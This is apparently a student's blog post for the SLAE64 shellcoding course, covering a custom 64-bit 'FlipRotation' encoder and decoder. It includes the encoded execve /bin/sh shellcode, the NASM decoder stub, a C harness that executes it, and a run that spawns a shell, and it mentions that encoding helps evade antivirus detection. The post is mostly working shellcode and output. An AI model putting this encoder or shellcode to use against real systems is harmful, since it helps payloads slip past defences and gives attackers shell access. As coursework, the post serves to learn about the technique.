SLAE64
SLAE64

This post introduces my 4th mission of my SLAE64 journey.

Introduction

The fourth assignment goal was to create my own custom encoder and decoder of the execve stack shellcode. As you may know, the purpose is to execute /bin/sh   A shellcode encoder can be used for different purposes, making it harder to detect by AV engines or simply avoiding bad characters (such as null bytes).

There is a lot of overlap information with my post regarding the SLAE32 - Custom Encoder/Decoder Shellcode (FlipRotation Encoder/Decoder). I advise you to look at it if you haven’t done it already. There are some essential concepts and ideas to understand what and why the shellcode is doing.

FlipRotation Algorithm Overview

The algorithm logic is the same as the one described in the FlipRotation Algorithm. My approach here was to port the 32 to 64-bit version so I won’t go into details in this post.

Encoder

Similar to the 32-bit version but converted to output 64-bit assembly. Please see FlipRotation Encoder for more details.

Encoder Output
╭─edu@debian ~/Desktop/slae_x86_64/assignments/4-Insertion-Encoder-Shellcode ‹main●› 
╰─$ python3 flipRotation_Encoder.py 

        
        _______________________________________________________________
         <The "FlipRotation" Encoder - Bit flip and rotate your shellcode
        ---------------------------------------------------------------
            \   ^__^
            \   (oo)\_______
                (__)\       )\/\
                    ||----w |
                    ||     ||       
        
         
[*] Shellcode length: 32

[*] Shellcode: b'H1\xc0PH\xbb/bin//shSH\x89\xe7PH\x89\xe2WH\x89\xe6H\x83\xc0;\x0f\x05'

[*] Key Provided by the user. Doing magic with it
[*] Key: 0xa0
After rotation: 0x49
After rotation: 0x7
After rotation: 0x8a
After rotation: 0x94
After rotation: 0xb1
After rotation: 0xde
After rotation: 0x2d
After rotation: 0xa4
After rotation: 0x45
After rotation: 0x4a
After rotation: 0x7c
After rotation: 0xa4
After rotation: 0xcf
After rotation: 0x25
After rotation: 0x1c

[*] \x format: 
\x49\xff\x18\x02\x7\xff\x8a\xff\x94\xff\xd5\x02\xb8\x02\xb1\xff\x68\x02\xde\xff\x8b\x02\xc5\x02\x27\x02\x2d\xff\x49\x02\xa4\xff\x88\x02\x73\x02\x45\xff\x4a\xff\x88\x02\x7c\xff\x59\x02\xa4\xff\x88\x02\xcf\xff\x25\xff\x50\x02\x1c\xff\xd1\x02\x38\x02\x8\x02\xa0\xa0

[*] 0x format: 
0x49,0xff,0x18,0x02,0x7,0xff,0x8a,0xff,0x94,0xff,0xd5,0x02,0xb8,0x02,0xb1,0xff,0x68,0x02,0xde,0xff,0x8b,0x02,0xc5,0x02,0x27,0x02,0x2d,0xff,0x49,0x02,0xa4,0xff,0x88,0x02,0x73,0x02,0x45,0xff,0x4a,0xff,0x88,0x02,0x7c,0xff,0x59,0x02,0xa4,0xff,0x88,0x02,0xcf,0xff,0x25,0xff,0x50,0x02,0x1c,0xff,0xd1,0x02,0x38,0x02,0x8,0x02,0xa0,0xa0

--------------------
[*] Hack the World!
--------------------

Encoder script available at https://github.com/0xnibbles/slae_x86_64/blob/main/assignments/4-Insertion-Encoder-Shellcode/flipRotation_Encoder.py

Decoder

Similar to the 32-bit version but converted to output 64-bit assembly. Please see FlipRotation Encoder for more details.

Decoder
; Student ID   : PA-31319
; Student Name : Eduardo Silva
; Assignment 4 : Custom Encoder/Decoder Shellcode (Linux/x86_64) Assembly - FlipRotation Encoder
; File Name    : flipRotation_decoder.nasm

global _start

section .text
_start:

	jmp decoder
	EncodedShellcode: db 0x49,0xff,0x18,0x02,0x7,0xff,0x8a,0xff,0x94,0xff,0xd5,0x02,0xb8,0x02,0xb1,0xff,0x68,0x02,0xde,0xff,0x8b,0x02,0xc5,0x02,0x27,0x02,0x2d,0xff,0x49,0x02,0xa4,0xff,0x88,0x02,0x73,0x02,0x45,0xff,0x4a,0xff,0x88,0x02,0x7c,0xff,0x59,0x02,0xa4,0xff,0x88,0x02,0xcf,0xff,0x25,0xff,0x50,0x02,0x1c,0xff,0xd1,0x02,0x38,0x02,0x8,0x02,0xa0,0xa0 ; 0xa0 is the stop marker

decoder:

	lea rsi, [rel EncodedShellcode]
	lea rdi, [rsi+1]	; pointing to second byte (0x02) from shellcode
	xor rax, rax
	mul rax					; zeroes edx
	mov al,	1 
	xor rcx, rcx
	xor rbx, rbx
	

decode:
	mov bl, byte [rsi + rax]	; mov parity byte to bl
	xor bl, 0xa0				; check if reached the end marker | 0xa0 ^ 0xff = 0x5f
	jz short EncodedShellcode	; reached the marker if Zero Flag not set

	xor bl, 0x5f	; if equal parity is even (0xff)
	mov bl, byte [rsi + rdx] 
	jnz odd

even:	; rotate right

	ror bl, cl
	jmp short bitFlip

odd: 	; rotate left

	rol bl, cl

bitFlip:

	xor bl, 0x01

restore_next_byte:

	mov byte [rsi + rdx], bl	; replaces the original byte
	mov bl, byte [rsi + rax+1]  ; mov encoded byte
	mov byte [rdi], bl          ; change last used parity byte for the next encoded byte
	inc rdi                     ; rdi points to position of the next parity byte
	add al, 2                   ; offset added to next parity byte
	inc dl                      ; offset to the next encoded byte
	inc cl                      ; loop index value incremented

	; Doing circular array as modulo workaround. Use 0x08 as a divisor or circular boundary because we are rotating 8 bits (al register). 

	cmp cl, 0x08	; if equal ZF will be set meaning we have a complete rotation
	jnz decode      ; jump if rotation is not complete
	xor rcx, rcx	; if rotation is complete and reset cl to start again the "circular array"

	jmp short decode

Compiling and Testing the FlipRotation Decoder

Checking assembler.sh output

╭─edu@debian ~/Desktop/slae_x86_64/assignments/4-Insertion-Encoder-Shellcode ‹main●› 
╰─$ ../../assembler.sh flipRotation_decoder.nasm          

[*] Compiling with NASM
[*] Linking
[*] Extracting opcodes
[*] Done


Shellcode size: 146

"\xeb\x42\x49\xff\x18\x02\x07\xff\x8a\xff\x94\xff\xd5\x02\xb8\x02\xb1\xff\x68\x02\xde\xff\x8b\x02\xc5\x02\x27\x02\x2d\xff\x49\x02\xa4\xff\x88\x02\x73\x02\x45\xff\x4a\xff\x88\x02\x7c\xff\x59\x02\xa4\xff\x88\x02\xcf\xff\x25\xff\x50\x02\x1c\xff\xd1\x02\x38\x02\x08\x02\xa0\xa0\x48\x8d\x35\xb7\xff\xff\xff\x48\x8d\x7e\x01\x48\x31\xc0\x48\xf7\xe0\xb0\x01\x48\x31\xc9\x48\x31\xdb\x8a\x1c\x06\x80\xf3\xa0\x74\x9d\x80\xf3\x5f\x8a\x1c\x16\x75\x04\xd2\xcb\xeb\x02\xd2\xc3\x80\xf3\x01\x88\x1c\x16\x8a\x5c\x06\x01\x88\x1f\x48\xff\xc7\x04\x02\xfe\xc2\xfe\xc1\x80\xf9\x08\x75\xd0\x48\x31\xc9\xeb\xcb"

--------------------
[*] Hack the World!
--------------------

No null bytes appear in the shellcode. We are good to go and paste the shellcode to our shellcode.c program

#include<stdio.h>
#include<string.h>

unsigned char code[] = \
"\xeb\x42\x49\xff\x18\x02\x07\xff\x8a\xff\x94\xff\xd5\x02\xb8\x02\xb1\xff\x68\x02\xde\xff\x8b\x02\xc5\x02\x27\x02\x2d\xff\x49\x02\xa4\xff\x88\x02\x73\x02\x45\xff\x4a\xff\x88\x02\x7c\xff\x59\x02\xa4\xff\x88\x02\xcf\xff\x25\xff\x50\x02\x1c\xff\xd1\x02\x38\x02\x08\x02\xa0\xa0\x48\x8d\x35\xb7\xff\xff\xff\x48\x8d\x7e\x01\x48\x31\xc0\x48\xf7\xe0\xb0\x01\x48\x31\xc9\x48\x31\xdb\x8a\x1c\x06\x80\xf3\xa0\x74\x9d\x80\xf3\x5f\x8a\x1c\x16\x75\x04\xd2\xcb\xeb\x02\xd2\xc3\x80\xf3\x01\x88\x1c\x16\x8a\x5c\x06\x01\x88\x1f\x48\xff\xc7\x04\x02\xfe\xc2\xfe\xc1\x80\xf9\x08\x75\xd0\x48\x31\xc9\xeb\xcb";

main() {

	printf("Shellcode Length: %d\n", strlen(code));
	int (*ret)() = (int(*)())code;

	ret();

}

Compiling with gcc and executing it

╭─edu@debian ~/Desktop/slae_x86_64/assignments/4-Insertion-Encoder-Shellcode ‹main●› 
╰─$ gcc -fno-stack-protector -z execstack -o shellcode shellcode.c
shellcode.c:7:1: warning: return type defaults to ‘int’ [-Wimplicit-int]
 main() {
 ^~~~

╭─edu@debian ~/Desktop/slae_x86_64/assignments/4-Insertion-Encoder-Shellcode ‹main●› 
╰─$ ./shellcode 
Shellcode Length: 146
$ whoami
edu
$ ls
core  exploitdb  flipRotation_Encoder.py  flipRotation_decoder  flipRotation_decoder.nasm  flipRotation_decoder.o  shellcode  shellcode.c
$ 

We get a shell!!!


This blog post has been created for completing the requirements of the x86_64 Assembly Language and Shellcoding on Linux (SLAE64): https://www.pentesteracademy.com/course?id=7

Student ID: PA-31319

All the source code files are available on GitHub at https://github.com/0xnibbles/slae_x86_64